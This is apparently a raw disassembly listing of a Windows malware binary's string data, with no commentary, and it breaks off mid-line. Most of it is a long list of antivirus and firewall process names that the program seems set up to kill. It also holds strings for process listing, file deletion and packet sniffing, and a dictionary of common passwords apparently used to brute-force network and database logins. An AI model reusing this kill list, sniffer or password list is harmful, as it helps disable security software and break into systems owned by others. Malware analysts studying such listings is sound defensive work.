db 'MRFLUX.EXE',0 ; DATA XREF: .text:0042F1C0o align 4 aMpftray_exe db 'MPFTRAY.EXE',0 ; DATA XREF: .text:0042F1BCo aMpfservice_exe db 'MPFSERVICE.EXE',0 ; DATA XREF: .text:0042F1B8o align 10h aMpfagent_exe db 'MPFAGENT.EXE',0 ; DATA XREF: .text:0042F1B4o align 10h aMostat_exe db 'MOSTAT.EXE',0 ; DATA XREF: .text:0042F1B0o align 4 aMoolive_exe db 'MOOLIVE.EXE',0 ; DATA XREF: .text:0042F1ACo aMonitor_exe db 'MONITOR.EXE',0 ; DATA XREF: .text:0042F1A8o aMmod_exe db 'MMOD.EXE',0 ; DATA XREF: .text:0042F1A4o align 10h aMinilog_exe db 'MINILOG.EXE',0 ; DATA XREF: .text:0042F1A0o aMgui_exe db 'MGUI.EXE',0 ; DATA XREF: .text:0042F19Co align 4 aMghtml_exe db 'MGHTML.EXE',0 ; DATA XREF: .text:0042F198o align 4 aMgavrte_exe db 'MGAVRTE.EXE',0 ; DATA XREF: .text:0042F194o aMgavrtcl_exe db 'MGAVRTCL.EXE',0 ; DATA XREF: .text:0042F190o align 10h aMfweng3_02d30_ db 'MFWENG3.02D30.EXE',0 ; DATA XREF: .text:0042F18Co align 4 aMfw2en_exe db 'MFW2EN.EXE',0 ; DATA XREF: .text:0042F188o align 10h aMfin32_exe db 'MFIN32.EXE',0 ; DATA XREF: .text:0042F184o align 4 aMd_exe db 'MD.EXE',0 ; DATA XREF: .text:0042F180o align 4 aMcvsshld_exe db 'MCVSSHLD.EXE',0 ; DATA XREF: .text:0042F17Co align 4 aMcvsrte_exe db 'MCVSRTE.EXE',0 ; DATA XREF: .text:0042F178o aMcupdate_exe db 'MCUPDATE.EXE',0 ; DATA XREF: .text:0042F170o ; .text:0042F174o align 10h aMctool_exe db 'MCTOOL.EXE',0 ; DATA XREF: .text:0042F16Co align 4 aMcshield_exe db 'MCSHIELD.EXE',0 ; DATA XREF: .text:0042F168o align 4 aMcmnhdlr_exe db 'MCMNHDLR.EXE',0 ; DATA XREF: .text:0042F164o align 4 aMcagent_exe db 'MCAGENT.EXE',0 ; DATA XREF: .text:0042F160o aMapisvc32_exe db 'MAPISVC32.EXE',0 ; DATA XREF: .text:0042F15Co align 4 aLuspt_exe db 'LUSPT.EXE',0 ; DATA XREF: .text:0042F158o align 4 aLuinit_exe db 'LUINIT.EXE',0 ; DATA XREF: .text:0042F154o align 10h aLucomserver_ex db 'LUCOMSERVER.EXE',0 ; DATA XREF: .text:0042F150o aLuau_exe db 'LUAU.EXE',0 ; DATA XREF: .text:0042F14Co align 4 aLuall_exe db 'LUALL.EXE',0 ; DATA XREF: .text:0042F144o ; .text:0042F148o align 4 aLsetup_exe db 'LSETUP.EXE',0 ; DATA XREF: .text:0042F140o align 4 aLordpe_exe db 'LORDPE.EXE',0 ; DATA XREF: .text:0042F13Co align 10h aLookout_exe db 'LOOKOUT.EXE',0 ; DATA XREF: .text:0042F138o aLockdown2000_e db 'LOCKDOWN2000.EXE',0 ; DATA XREF: .text:0042F134o align 10h aLockdown_exe db 'LOCKDOWN.EXE',0 ; DATA XREF: .text:0042F130o align 10h aLocalnet_exe db 'LOCALNET.EXE',0 ; DATA XREF: .text:0042F12Co align 10h aLoader_exe db 'LOADER.EXE',0 ; DATA XREF: .text:0042F128o align 4 aLnetinfo_exe db 'LNETINFO.EXE',0 ; DATA XREF: .text:0042F124o align 4 aLdscan_exe db 'LDSCAN.EXE',0 ; DATA XREF: .text:0042F120o align 4 aLdpromenu_exe db 'LDPROMENU.EXE',0 ; DATA XREF: .text:0042F11Co align 4 aLdpro_exe db 'LDPRO.EXE',0 ; DATA XREF: .text:0042F118o align 4 aLdnetmon_exe db 'LDNETMON.EXE',0 ; DATA XREF: .text:0042F114o align 4 aLauncher_exe db 'LAUNCHER.EXE',0 ; DATA XREF: .text:0042F110o align 4 aKillprocessset db 'KILLPROCESSSETUP161.EXE',0 ; DATA XREF: .text:0042F10Co aKernel32_exe db 'KERNEL32.EXE',0 ; DATA XREF: .text:0042F108o align 4 aKerioWrp421EnW db 'KERIO-WRP-421-EN-WIN.EXE',0 ; DATA XREF: .text:0042F104o align 4 aKerioWrl421EnW db 'KERIO-WRL-421-EN-WIN.EXE',0 ; DATA XREF: .text:0042F100o align 4 aKerioPf213EnWi db 'KERIO-PF-213-EN-WIN.EXE',0 ; DATA XREF: .text:0042F0FCo aKeenvalue_exe db 'KEENVALUE.EXE',0 ; DATA XREF: .text:0042F0F8o align 4 aKazza_exe db 'KAZZA.EXE',0 ; DATA XREF: .text:0042F0F4o align 4 aKavpf_exe db 'KAVPF.EXE',0 ; DATA XREF: .text:0042F0F0o align 4 aKavpers40eng_e db 'KAVPERS40ENG.EXE',0 ; DATA XREF: .text:0042F0ECo align 4 aKavlite40eng_e db 'KAVLITE40ENG.EXE',0 ; DATA XREF: .text:0042F0E8o align 4 aJedi_exe db 'JEDI.EXE',0 ; DATA XREF: .text:0042F0E4o align 4 aJdbgmrg_exe db 'JDBGMRG.EXE',0 ; DATA XREF: .text:0042F0E0o aJammer_exe db 'JAMMER.EXE',0 ; DATA XREF: .text:0042F0DCo align 10h aIstsvc_exe db 'ISTSVC.EXE',0 ; DATA XREF: .text:0042F0D8o align 4 aIsrv95_exe db 'ISRV95.EXE',0 ; DATA XREF: .text:0042F0D4o align 4 aIsass_exe db 'ISASS.EXE',0 ; DATA XREF: .text:0042F0D0o align 4 aIris_exe db 'IRIS.EXE',0 ; DATA XREF: .text:0042F0CCo align 10h aIparmor_exe db 'IPARMOR.EXE',0 ; DATA XREF: .text:0042F0C8o aIomon98_exe db 'IOMON98.EXE',0 ; DATA XREF: .text:0042F0C4o aIntren_exe db 'INTREN.EXE',0 ; DATA XREF: .text:0042F0C0o align 4 aIntdel_exe db 'INTDEL.EXE',0 ; DATA XREF: .text:0042F0BCo align 10h aInit_exe db 'INIT.EXE',0 ; DATA XREF: .text:0042F0B8o align 4 aInfwin_exe db 'INFWIN.EXE',0 ; DATA XREF: .text:0042F0B4o align 4 aInfus_exe db 'INFUS.EXE',0 ; DATA XREF: .text:0042F0B0o align 4 aInetlnfo_exe db 'INETLNFO.EXE',0 ; DATA XREF: .text:0042F0ACo align 4 aIfw2000_exe db 'IFW2000.EXE',0 ; DATA XREF: .text:0042F0A8o aIface_exe db 'IFACE.EXE',0 ; DATA XREF: .text:0042F0A4o align 4 aIexplorer_exe db 'IEXPLORER.EXE',0 ; DATA XREF: .text:0042F0A0o align 4 aIedriver_exe db 'IEDRIVER.EXE',0 ; DATA XREF: .text:0042F09Co align 4 aIedll_exe db 'IEDLL.EXE',0 ; DATA XREF: .text:0042F098o align 4 aIdle_exe db 'IDLE.EXE',0 ; DATA XREF: .text:0042F094o align 4 aIcsuppnt_exe db 'ICSUPPNT.EXE',0 ; DATA XREF: .text:0042F090o align 4 aIcsupp95_exe db 'ICSUPP95.EXE',0 ; DATA XREF: .text:0042F088o ; .text:0042F08Co align 4 aIcmon_exe db 'ICMON.EXE',0 ; DATA XREF: .text:0042F084o align 10h aIcloadnt_exe db 'ICLOADNT.EXE',0 ; DATA XREF: .text:0042F080o align 10h aIcload95_exe db 'ICLOAD95.EXE',0 ; DATA XREF: .text:0042F07Co align 10h aIbmavsp_exe db 'IBMAVSP.EXE',0 ; DATA XREF: .text:0042F078o aIbmasn_exe db 'IBMASN.EXE',0 ; DATA XREF: .text:0042F074o align 4 aIamstats_exe db 'IAMSTATS.EXE',0 ; DATA XREF: .text:0042F070o align 4 aIamserv_exe db 'IAMSERV.EXE',0 ; DATA XREF: .text:0042F06Co aIamapp_exe db 'IAMAPP.EXE',0 ; DATA XREF: .text:0042F068o align 10h aHxiul_exe db 'HXIUL.EXE',0 ; DATA XREF: .text:0042F064o align 4 aHxdl_exe db 'HXDL.EXE',0 ; DATA XREF: .text:0042F060o align 4 aHwpe_exe db 'HWPE.EXE',0 ; DATA XREF: .text:0042F05Co align 4 aHtpatch_exe db 'HTPATCH.EXE',0 ; DATA XREF: .text:0042F058o aHtlog_exe db 'HTLOG.EXE',0 ; DATA XREF: .text:0042F054o align 4 aHotpatch_exe db 'HOTPATCH.EXE',0 ; DATA XREF: .text:0042F050o align 4 aHotactio_exe db 'HOTACTIO.EXE',0 ; DATA XREF: .text:0042F04Co align 4 aHbsrv_exe db 'HBSRV.EXE',0 ; DATA XREF: .text:0042F048o align 4 aHbinst_exe db 'HBINST.EXE',0 ; DATA XREF: .text:0042F044o align 4 aHacktracersetu db 'HACKTRACERSETUP.EXE',0 ; DATA XREF: .text:0042F040o aGuarddog_exe db 'GUARDDOG.EXE',0 ; DATA XREF: .text:0042F03Co align 4 aGuard_exe db 'GUARD.EXE',0 ; DATA XREF: .text:0042F038o align 4 aGmt_exe db 'GMT.EXE',0 ; DATA XREF: .text:0042F034o aGenerics_exe db 'GENERICS.EXE',0 ; DATA XREF: .text:0042F030o align 4 aGbpoll_exe db 'GBPOLL.EXE',0 ; DATA XREF: .text:0042F02Co align 4 aGbmenu_exe db 'GBMENU.EXE',0 ; DATA XREF: .text:0042F028o align 4 aGator_exe db 'GATOR.EXE',0 ; DATA XREF: .text:0042F024o align 10h aFsmb32_exe db 'FSMB32.EXE',0 ; DATA XREF: .text:0042F020o align 4 aFsma32_exe db 'FSMA32.EXE',0 ; DATA XREF: .text:0042F01Co align 4 aFsm32_exe db 'FSM32.EXE',0 ; DATA XREF: .text:0042F018o align 4 aFsgk32_exe db 'FSGK32.EXE',0 ; DATA XREF: .text:0042F014o align 10h aFsav95_exe db 'FSAV95.EXE',0 ; DATA XREF: .text:0042F010o align 4 aFsav530wtbyb_e db 'FSAV530WTBYB.EXE',0 ; DATA XREF: .text:0042F00Co align 10h aFsav530stbyb_e db 'FSAV530STBYB.EXE',0 ; DATA XREF: .text:0042F008o align 4 aFsav32_exe db 'FSAV32.EXE',0 ; DATA XREF: .text:0042F004o align 10h aFsav_exe db 'FSAV.EXE',0 ; DATA XREF: .text:0042F000o align 4 aFsaa_exe db 'FSAA.EXE',0 ; DATA XREF: .text:0042EFFCo align 4 aFrw_exe db 'FRW.EXE',0 ; DATA XREF: .text:0042EFF8o aFprot_exe db 'FPROT.EXE',0 ; DATA XREF: .text:0042EFF4o align 4 aFpWin_trial_ex db 'FP-WIN_TRIAL.EXE',0 ; DATA XREF: .text:0042EFF0o align 10h aFpWin_exe db 'FP-WIN.EXE',0 ; DATA XREF: .text:0042EFECo align 4 aFnrb32_exe db 'FNRB32.EXE',0 ; DATA XREF: .text:0042EFE8o align 4 aFlowprotector_ db 'FLOWPROTECTOR.EXE',0 ; DATA XREF: .text:0042EFE4o align 4 aFirewall_exe db 'FIREWALL.EXE',0 ; DATA XREF: .text:0042EFE0o align 4 aFindviru_exe db 'FINDVIRU.EXE',0 ; DATA XREF: .text:0042EFDCo align 4 aFih32_exe db 'FIH32.EXE',0 ; DATA XREF: .text:0042EFD8o align 4 aFch32_exe db 'FCH32.EXE',0 ; DATA XREF: .text:0042EFD4o align 4 aFast_exe db 'FAST.EXE',0 ; DATA XREF: .text:0042EFD0o align 10h aFameh32_exe db 'FAMEH32.EXE',0 ; DATA XREF: .text:0042EFCCo aFStopw_exe db 'F-STOPW.EXE',0 ; DATA XREF: .text:0042EFC8o aFProt95_exe db 'F-PROT95.EXE',0 ; DATA XREF: .text:0042EFC4o align 4 aFProt_exe db 'F-PROT.EXE',0 ; DATA XREF: .text:0042EFC0o align 4 aFAgnt95_exe db 'F-AGNT95.EXE',0 ; DATA XREF: .text:0042EFBCo align 4 aExplore_exe db 'EXPLORE.EXE',0 ; DATA XREF: .text:0042EFB8o aExpert_exe db 'EXPERT.EXE',0 ; DATA XREF: .text:0042EFB4o align 4 aExe_avxw_exe db 'EXE.AVXW.EXE',0 ; DATA XREF: .text:0042EFB0o align 4 aExantivirusCne db 'EXANTIVIRUS-CNET.EXE',0 ; DATA XREF: .text:0042EFACo align 4 aEvpn_exe db 'EVPN.EXE',0 ; DATA XREF: .text:0042EFA8o align 10h aEtrustcipe_exe db 'ETRUSTCIPE.EXE',0 ; DATA XREF: .text:0042EFA4o align 10h aEthereal_exe db 'ETHEREAL.EXE',0 ; DATA XREF: .text:0042EFA0o align 10h aEspwatch_exe db 'ESPWATCH.EXE',0 ; DATA XREF: .text:0042EF9Co align 10h aEscanv95_exe db 'ESCANV95.EXE',0 ; DATA XREF: .text:0042EF98o align 10h aEscanhnt_exe db 'ESCANHNT.EXE',0 ; DATA XREF: .text:0042EF94o align 10h aEscanh95_exe db 'ESCANH95.EXE',0 ; DATA XREF: .text:0042EF90o align 10h aEsafe_exe db 'ESAFE.EXE',0 ; DATA XREF: .text:0042EF8Co align 4 aEnt_exe db 'ENT.EXE',0 ; DATA XREF: .text:0042EF88o aEmsw_exe db 'EMSW.EXE',0 ; DATA XREF: .text:0042EF84o align 10h aEfpeadm_exe db 'EFPEADM.EXE',0 ; DATA XREF: .text:0042EF80o aEcengine_exe db 'ECENGINE.EXE',0 ; DATA XREF: .text:0042EF7Co align 4 aDvp95_0_exe db 'DVP95_0.EXE',0 ; DATA XREF: .text:0042EF78o aDvp95_exe db 'DVP95.EXE',0 ; DATA XREF: .text:0042EF74o align 4 aDssagent_exe db 'DSSAGENT.EXE',0 ; DATA XREF: .text:0042EF70o align 4 aDrwebupw_exe db 'DRWEBUPW.EXE',0 ; DATA XREF: .text:0042EF6Co align 4 aDrweb32_exe db 'DRWEB32.EXE',0 ; DATA XREF: .text:0042EF68o aDrwatson_exe db 'DRWATSON.EXE',0 ; DATA XREF: .text:0042EF64o align 10h aDpps2_exe db 'DPPS2.EXE',0 ; DATA XREF: .text:0042EF60o align 4 aDpfsetup_exe db 'DPFSETUP.EXE',0 ; DATA XREF: .text:0042EF5Co align 4 aDpf_exe db 'DPF.EXE',0 ; DATA XREF: .text:0042EF58o aDoors_exe db 'DOORS.EXE',0 ; DATA XREF: .text:0042EF54o align 10h aDllreg_exe db 'DLLREG.EXE',0 ; DATA XREF: .text:0042EF50o align 4 aDllcache_exe db 'DLLCACHE.EXE',0 ; DATA XREF: .text:0042EF4Co align 4 aDivx_exe db 'DIVX.EXE',0 ; DATA XREF: .text:0042EF48o align 4 aDeputy_exe db 'DEPUTY.EXE',0 ; DATA XREF: .text:0042EF44o align 4 aDefwatch_exe db 'DEFWATCH.EXE',0 ; DATA XREF: .text:0042EF40o align 4 aDefscangui_exe db 'DEFSCANGUI.EXE',0 ; DATA XREF: .text:0042EF3Co align 4 aDefalert_exe db 'DEFALERT.EXE',0 ; DATA XREF: .text:0042EF38o align 4 aDcomx_exe db 'DCOMX.EXE',0 ; DATA XREF: .text:0042EF34o align 10h aDatemanager_ex db 'DATEMANAGER.EXE',0 ; DATA XREF: .text:0042EF30o aClaw95_exe db 'Claw95.EXE',0 ; DATA XREF: .text:0042EF28o align 4 aCwntdwmo_exe db 'CWNTDWMO.EXE',0 ; DATA XREF: .text:0042EF24o align 4 aCwnb181_exe db 'CWNB181.EXE',0 ; DATA XREF: .text:0042EF20o aCv_exe db 'CV.EXE',0 ; DATA XREF: .text:0042EF1Co align 10h aCtrl_exe db 'CTRL.EXE',0 ; DATA XREF: .text:0042EF18o align 4 aCpfnt206_exe db 'CPFNT206.EXE',0 ; DATA XREF: .text:0042EF14o align 4 aCpf9x206_exe db 'CPF9X206.EXE',0 ; DATA XREF: .text:0042EF10o align 4 aCpd_exe db 'CPD.EXE',0 ; DATA XREF: .text:0042EF0Co aConnectionmoni db 'CONNECTIONMONITOR.EXE',0 ; DATA XREF: .text:0042EF08o align 4 aCmon016_exe db 'CMON016.EXE',0 ; DATA XREF: .text:0042EF04o aCmgrdian_exe db 'CMGRDIAN.EXE',0 ; DATA XREF: .text:0042EF00o align 4 aCmesys_exe db 'CMESYS.EXE',0 ; DATA XREF: .text:0042EEFCo align 4 aCmd32_exe db 'CMD32.EXE',0 ; DATA XREF: .text:0042EEF8o align 10h aClick_exe db 'CLICK.EXE',0 ; DATA XREF: .text:0042EEF4o align 4 aCleanpc_exe db 'CLEANPC.EXE',0 ; DATA XREF: .text:0042EEF0o aCleaner3_exe db 'CLEANER3.EXE',0 ; DATA XREF: .text:0042EEECo align 4 aCleaner_exe db 'CLEANER.EXE',0 ; DATA XREF: .text:0042EEE8o aClean_exe db 'CLEAN.EXE',0 ; DATA XREF: .text:0042EEE4o align 10h aClaw95cf_exe db 'CLAW95CF.EXE',0 ; DATA XREF: .text:0042EEE0o ; .text:0042EF2Co align 10h aCfinet32_exe db 'CFINET32.EXE',0 ; DATA XREF: .text:0042EEDCo align 10h aCfinet_exe db 'CFINET.EXE',0 ; DATA XREF: .text:0042EED8o align 4 aCfiaudit_exe db 'CFIAUDIT.EXE',0 ; DATA XREF: .text:0042EED0o ; .text:0042EED4o align 4 aCfiadmin_exe db 'CFIADMIN.EXE',0 ; DATA XREF: .text:0042EECCo align 4 aCfgwiz_exe db 'CFGWIZ.EXE',0 ; DATA XREF: .text:0042EEC8o align 4 aCfd_exe db 'CFD.EXE',0 ; DATA XREF: .text:0042EEC4o aCdp_exe db 'CDP.EXE',0 ; DATA XREF: .text:0042EEC0o aCcpxysvc_exe db 'CCPXYSVC.EXE',0 ; DATA XREF: .text:0042EEBCo align 4 aCcevtmgr_exe db 'CCEVTMGR.EXE',0 ; DATA XREF: .text:0042EEB8o align 4 aCcapp_exe db 'CCAPP.EXE',0 ; DATA XREF: .text:0042EEB4o align 4 aBvt_exe db 'BVT.EXE',0 ; DATA XREF: .text:0042EEB0o aBundle_exe db 'BUNDLE.EXE',0 ; DATA XREF: .text:0042EEACo align 4 aBs120_exe db 'BS120.EXE',0 ; DATA XREF: .text:0042EEA8o align 4 aBrasil_exe db 'BRASIL.EXE',0 ; DATA XREF: .text:0042EEA4o align 10h aBpc_exe db 'BPC.EXE',0 ; DATA XREF: .text:0042EEA0o aBorg2_exe db 'BORG2.EXE',0 ; DATA XREF: .text:0042EE9Co align 4 aBootwarn_exe db 'BOOTWARN.EXE',0 ; DATA XREF: .text:0042EE98o align 4 aBootconf_exe db 'BOOTCONF.EXE',0 ; DATA XREF: .text:0042EE94o align 4 aBlss_exe db 'BLSS.EXE',0 ; DATA XREF: .text:0042EE90o align 10h aBlackice_exe db 'BLACKICE.EXE',0 ; DATA XREF: .text:0042EE8Co align 10h aBlackd_exe db 'BLACKD.EXE',0 ; DATA XREF: .text:0042EE88o align 4 aBisp_exe db 'BISP.EXE',0 ; DATA XREF: .text:0042EE84o align 4 aBipcpevalsetup db 'BIPCPEVALSETUP.EXE',0 ; DATA XREF: .text:0042EE80o align 4 aBipcp_exe db 'BIPCP.EXE',0 ; DATA XREF: .text:0042EE7Co align 4 aBidserver_exe db 'BIDSERVER.EXE',0 ; DATA XREF: .text:0042EE78o align 4 aBidef_exe db 'BIDEF.EXE',0 ; DATA XREF: .text:0042EE74o align 4 aBelt_exe db 'BELT.EXE',0 ; DATA XREF: .text:0042EE70o align 10h aBeagle_exe db 'BEAGLE.EXE',0 ; DATA XREF: .text:0042EE6Co align 4 aBd_professiona db 'BD_PROFESSIONAL.EXE',0 ; DATA XREF: .text:0042EE68o aBargains_exe db 'BARGAINS.EXE',0 ; DATA XREF: .text:0042EE64o align 10h aBackweb_exe db 'BACKWEB.EXE',0 ; DATA XREF: .text:0042EE60o aAvxquar_exe db 'AVXQUAR.EXE',0 ; DATA XREF: .text:0042EE58o ; .text:0042EE5Co aAvxmonitornt_e db 'AVXMONITORNT.EXE',0 ; DATA XREF: .text:0042EE54o align 4 aAvxmonitor9x_e db 'AVXMONITOR9X.EXE',0 ; DATA XREF: .text:0042EE50o align 10h aAvwupsrv_exe db 'AVWUPSRV.EXE',0 ; DATA XREF: .text:0042EE4Co align 10h aAvwupd32_exe db 'AVWUPD32.EXE',0 ; DATA XREF: .text:0042EE44o ; .text:0042EE48o align 10h aAvwupd_exe db 'AVWUPD.EXE',0 ; DATA XREF: .text:0042EE40o align 4 aAvwinnt_exe db 'AVWINNT.EXE',0 ; DATA XREF: .text:0042EE3Co aAvwin95_exe db 'AVWIN95.EXE',0 ; DATA XREF: .text:0042EE38o aAvsynmgr_exe db 'AVSYNMGR.EXE',0 ; DATA XREF: .text:0042EE34o align 4 aAvsched32_exe db 'AVSCHED32.EXE',0 ; DATA XREF: .text:0042EE30o align 4 aAvpupd_exe db 'AVPUPD.EXE',0 ; DATA XREF: .text:0042EE28o ; .text:0042EE2Co align 10h aAvptc32_exe db 'AVPTC32.EXE',0 ; DATA XREF: .text:0042EE24o aAvpm_exe db 'AVPM.EXE',0 ; DATA XREF: .text:0042EE20o align 4 aAvpdos32_exe db 'AVPDOS32.EXE',0 ; DATA XREF: .text:0042EE1Co align 4 aAvpcc_exe db 'AVPCC.EXE',0 ; DATA XREF: .text:0042EE18o align 4 aAvp32_exe db 'AVP32.EXE',0 ; DATA XREF: .text:0042EE14o align 10h aAvp_exe db 'AVP.EXE',0 ; DATA XREF: .text:0042EE10o aAvnt_exe db 'AVNT.EXE',0 ; DATA XREF: .text:0042EE0Co align 4 aAvltmain_exe db 'AVLTMAIN.EXE',0 ; DATA XREF: .text:0042EE08o align 4 aAvkwctl9_exe db 'AVKWCTl9.EXE',0 ; DATA XREF: .text:0042EE04o align 4 aAvkservice_exe db 'AVKSERVICE.EXE',0 ; DATA XREF: .text:0042EE00o align 4 aAvkserv_exe db 'AVKSERV.EXE',0 ; DATA XREF: .text:0042EDFCo aAvkpop_exe db 'AVKPOP.EXE',0 ; DATA XREF: .text:0042EDF8o align 4 aAvgw_exe db 'AVGW.EXE',0 ; DATA XREF: .text:0042EDF4o align 4 aAvguard_exe db 'AVGUARD.EXE',0 ; DATA XREF: .text:0042EDF0o aAvgserv9_exe db 'AVGSERV9.EXE',0 ; DATA XREF: .text:0042EDECo align 4 aAvgserv_exe db 'AVGSERV.EXE',0 ; DATA XREF: .text:0042EDE8o aAvgnt_exe db 'AVGNT.EXE',0 ; DATA XREF: .text:0042EDE4o align 4 aAvgctrl_exe db 'AVGCTRL.EXE',0 ; DATA XREF: .text:0042EDE0o aAvgcc32_exe db 'AVGCC32.EXE',0 ; DATA XREF: .text:0042EDDCo aAve32_exe db 'AVE32.EXE',0 ; DATA XREF: .text:0042EDD8o align 10h aAvconsol_exe db 'AVCONSOL.EXE',0 ; DATA XREF: .text:0042EDD4o align 10h aAutoupdate_exe db 'AUTOUPDATE.EXE',0 ; DATA XREF: .text:0042EDD0o align 10h aAutotrace_exe db 'AUTOTRACE.EXE',0 ; DATA XREF: .text:0042EDCCo align 10h aAutodown_exe db 'AUTODOWN.EXE',0 ; DATA XREF: .text:0042EDC8o align 10h aAupdate_exe db 'AUPDATE.EXE',0 ; DATA XREF: .text:0042EDC4o aAu_exe db 'AU.EXE',0 ; DATA XREF: .text:0042EDC0o align 4 aAtwatch_exe db 'ATWATCH.EXE',0 ; DATA XREF: .text:0042EDBCo aAtupdater_exe db 'ATUPDATER.EXE',0 ; DATA XREF: .text:0042EDB4o ; .text:0042EDB8o align 10h aAtro55en_exe db 'ATRO55EN.EXE',0 ; DATA XREF: .text:0042EDB0o align 10h aAtguard_exe db 'ATGUARD.EXE',0 ; DATA XREF: .text:0042EDACo aAtcon_exe db 'ATCON.EXE',0 ; DATA XREF: .text:0042EDA8o align 4 aArr_exe db 'ARR.EXE',0 ; DATA XREF: .text:0042EDA4o aApvxdwin_exe db 'APVXDWIN.EXE',0 ; DATA XREF: .text:0042EDA0o align 10h aAplica32_exe db 'APLICA32.EXE',0 ; DATA XREF: .text:0042ED9Co align 10h aApimonitor_exe db 'APIMONITOR.EXE',0 ; DATA XREF: .text:0042ED98o align 10h aAnts_exe db 'ANTS.EXE',0 ; DATA XREF: .text:0042ED94o align 4 aAntivirus_exe db 'ANTIVIRUS.EXE',0 ; DATA XREF: .text:0042ED90o align 4 aAntiTrojan_exe db 'ANTI-TROJAN.EXE',0 ; DATA XREF: .text:0042ED8Co aAmon9x_exe db 'AMON9X.EXE',0 ; DATA XREF: .text:0042ED88o align 4 aAlogserv_exe db 'ALOGSERV.EXE',0 ; DATA XREF: .text:0042ED84o align 4 aAlevir_exe db 'ALEVIR.EXE',0 ; DATA XREF: .text:0042ED80o align 4 aAlertsvc_exe db 'ALERTSVC.EXE',0 ; DATA XREF: .text:0042ED7Co align 4 aAgentw_exe db 'AGENTW.EXE',0 ; DATA XREF: .text:0042ED78o align 10h aAgentsvr_exe db 'AGENTSVR.EXE',0 ; DATA XREF: .text:0042ED74o align 10h aAdvxdwin_exe db 'ADVXDWIN.EXE',0 ; DATA XREF: .text:0042ED70o align 10h aAdaware_exe db 'ADAWARE.EXE',0 ; DATA XREF: .text:0042ED6Co aAckwin32_exe db 'ACKWIN32.EXE',0 ; DATA XREF: .text:off_42ED68o align 4 aCannotExtractP db 'Cannot extract process path for %s',0Ah,0 ; DATA XREF: sub_408D49+2D7o aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0Ah,0 ; DATA XREF: sub_408D49+2C9o align 4 aCouldNotDelete db 'Could not delete ',27h,'%s',27h,'.!',0Ah,0 ; DATA XREF: sub_408D49+2BBo align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_408D49+187o align 10h aProcProcessL_0 db '[PROC]: Process list failed.',0 ; DATA XREF: sub_40905C:loc_4090DDo align 10h aProcProcessLis db '[PROC]: Process list completed.',0 ; DATA XREF: sub_40905C+7Ao aProcListingPro db '[PROC]: Listing processes:',0 ; DATA XREF: sub_40905C+2Ao align 4 aHttp_0 db 'HTTP',0 ; DATA XREF: .text:0042F754o align 4 aFtp db 'FTP',0 ; DATA XREF: .text:0042F750o off_4276E8 dd offset byte_435249 ; DATA XREF: .text:0042F74Co dword_4276EC dd 544F42h aPsniffErrorRec db '[PSNIFF]: Error: recv() failed, returned: <%d>',0 ; DATA XREF: sub_409180+28Eo align 10h aPsniffSuspicio db '[PSNIFF]: Suspicious %s packet from: %s:%d - %s.',0 ; DATA XREF: sub_409180+21Bo align 4 aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_409180+1A5o align 10h aPsniffErrorWsa db '[PSNIFF]: Error: WSAIoctl() failed, returned: <%d>.',0 ; DATA XREF: sub_409180+15Do aPsniffErrorBin db '[PSNIFF]: Error: bind() failed, returned: <%d>.',0 ; DATA XREF: sub_409180+F1o aPsniffErrorSoc db '[PSNIFF]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_409180+7Co align 4 aIntranet db 'intranet',0 ; DATA XREF: .text:004301ACo align 4 aLan db 'lan',0 ; DATA XREF: .text:004301A4o aMain db 'main',0 ; DATA XREF: .text:004301A0o align 10h aWinpass db 'winpass',0 ; DATA XREF: .text:0043019Co aBlank db 'blank',0 ; DATA XREF: .text:00430198o align 10h aOffice db 'office',0 ; DATA XREF: .text:00430194o align 4 aControl db 'control',0 ; DATA XREF: .text:00430190o aXp db 'xp',0 ; DATA XREF: .text:0043018Co align 4 aNokia db 'nokia',0 ; DATA XREF: .text:00430188o align 4 aHp db 'hp',0 ; DATA XREF: .text:00430184o align 10h aSiemens db 'siemens',0 ; DATA XREF: .text:00430180o aCompaq db 'compaq',0 ; DATA XREF: .text:0043017Co align 10h aDell db 'dell',0 ; DATA XREF: .text:00430178o align 4 aCisco db 'cisco',0 ; DATA XREF: .text:00430174o align 10h aIbm db 'ibm',0 ; DATA XREF: .text:00430170o aOrainstall db 'orainstall',0 ; DATA XREF: .text:00430168o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .text:00430164o align 4 aSql db 'sql',0 ; DATA XREF: .text:00430160o aSa db 'sa',0 ; DATA XREF: sub_409848+185Bo ; .text:0043015Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: .text:00430158o align 4 aDb1 db 'db1',0 ; DATA XREF: .text:00430150o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .text:0043014Co align 4 aData db 'data',0 ; DATA XREF: .text:00430148o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: .text:00430144o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .text:00430140o align 10h aDbpass db 'dbpass',0 ; DATA XREF: .text:0043013Co align 4 aAccess db 'access',0 ; DATA XREF: .text:00430138o align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: .text:00430130o align 10h aDomainpass db 'domainpass',0 ; DATA XREF: .text:0043012Co align 4 aDomain db 'domain',0 ; DATA XREF: .text:00430128o align 4 aHello db 'hello',0 ; DATA XREF: .text:00430124o align 4 aHell db 'hell',0 ; DATA XREF: .text:00430120o align 4 aGod db 'god',0 ; DATA XREF: .text:0043011Co aSex db 'sex',0 ; DATA XREF: .text:00430118o aSlut db 'slut',0 ; DATA XREF: .text:00430114o align 4 aBitch db 'bitch',0 ; DATA XREF: .text:00430110o align 4 aFuck db 'fuck',0 ; DATA XREF: .text:0043010Co align 4 aExchange db 'exchange',0 ; DATA XREF: .text:00430108o align 10h aBackup db 'backup',0 ; DATA XREF: .text:00430104o align 4 aTechnical db 'technical',0 ; DATA XREF: .text:00430100o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .text:004300FCo align 10h aLogin db 'login',0 ; DATA XREF: sub_409848+7BBo ; .text:004300F8o align 4 aMary db 'mary',0 ; DATA XREF: .text:004300F4o align 10h aKatie db 'katie',0 ; DATA XREF: .text:004300F0o align 4 aKate db 'kate',0 ; DATA XREF: .text:004300E8o align 10h aGeorge db 'george',0 ; DATA XREF: .text:004300E4o align 4 aEric db 'eric',0 ; DATA XREF: .text:004300E0o align 10h aChris db 'chris',0 ; DATA XREF: .text:004300DCo align 4 aIan db 'ian',0 ; DATA XREF: .text:004300D8o aNeil db 'neil',0 ; DATA XREF: 